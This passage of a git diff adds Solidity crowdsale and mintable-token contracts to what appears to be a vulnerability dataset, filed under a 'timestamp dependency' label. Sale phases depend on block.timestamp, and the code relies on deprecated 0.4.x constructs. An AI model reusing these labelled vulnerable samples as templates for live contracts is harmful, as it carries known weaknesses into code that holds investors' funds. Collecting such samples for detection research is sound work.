modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + +contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsaleExt( + string _name, + address _token, + PricingStrategy _pricingStrategy, + address _multisigWallet, + uint _start, uint _end, + uint _minimumFundingGoal, + uint _maximumSellableTokens, + bool _isUpdatable, + bool _isWhiteListed + ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { + maximumSellableTokens = _maximumSellableTokens; + } + + + event MaximumSellableTokensChanged(uint newMaximumSellableTokens); + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { + assert(isWhiteListed); + uint maxCap = earlyParticipantWhitelist[addr].maxCap; + return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + function setMaximumSellableTokens(uint tokens) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + maximumSellableTokens = tokens; + MaximumSellableTokensChanged(maximumSellableTokens); + } + + function updateRate(uint newOneTokenInWei) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + pricingStrategy.updateRate(newOneTokenInWei); + } + + + function assignTokens(address receiver, uint tokenAmount) private { + MintableTokenExt mintableToken = MintableTokenExt(token); + mintableToken.mint(receiver, tokenAmount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10025.sol b/smart_contract_dataset/timestamp dependency/10025.sol new file mode 100644 index 0000000000000000000000000000000000000000..0cf97716ffe1952a4b78387eaa7ee50c9c533948 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10025.sol @@ -0,0 +1,1014 @@ + + + +pragma solidity ^0.4.8; + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + +contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsaleExt( + string _name, + address _token, + PricingStrategy _pricingStrategy, + address _multisigWallet, + uint _start, uint _end, + uint _minimumFundingGoal, + uint _maximumSellableTokens, + bool _isUpdatable, + bool _isWhiteListed + ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { + maximumSellableTokens = _maximumSellableTokens; + } + + + event MaximumSellableTokensChanged(uint newMaximumSellableTokens); + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { + assert(isWhiteListed); + uint maxCap = earlyParticipantWhitelist[addr].maxCap; + return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + function setMaximumSellableTokens(uint tokens) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + maximumSellableTokens = tokens; + MaximumSellableTokensChanged(maximumSellableTokens); + } + + function updateRate(uint newOneTokenInWei) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + pricingStrategy.updateRate(newOneTokenInWei); + } + + + function assignTokens(address receiver, uint tokenAmount) private { + MintableTokenExt mintableToken = MintableTokenExt(token); + mintableToken.mint(receiver, tokenAmount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10129.sol b/smart_contract_dataset/timestamp dependency/10129.sol new file mode 100644 index 0000000000000000000000000000000000000000..202719ff72942e89a8c34bda5b31ab67a3da8c3e --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10129.sol @@ -0,0 +1,731 @@ + + + + + + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + +library SafeMathLib { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20 is ERC20 { + + uint public decimals; + +} + + + + + +contract PricingStrategy { + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + +contract FinalizeAgent { + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + + function finalizeCrowdsale(); + +} + + + + +contract CrowdsaleBase is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLib for uint; + + + FractionalERC20 public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public presaleWeiRaised = 0; + + + uint public investorCount = 0; + + + uint public loadedRefund = 0; + + + uint public weiRefunded = 0; + + + bool public finalized; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + + mapping (address => bool) public earlyParticipantWhitelist; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Refund(address investor, uint weiAmount); + + + event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); + + + event Whitelisted(address addr, bool status); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { + + owner = msg.sender; + + token = FractionalERC20(_token); + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + } + + + function() payable { + throw; + } + + + function buyTokens(address receiver, uint128 customerId, uint256 tokenAmount) stopInEmergency internal returns(uint tokensBought) { + + + if(getState() == 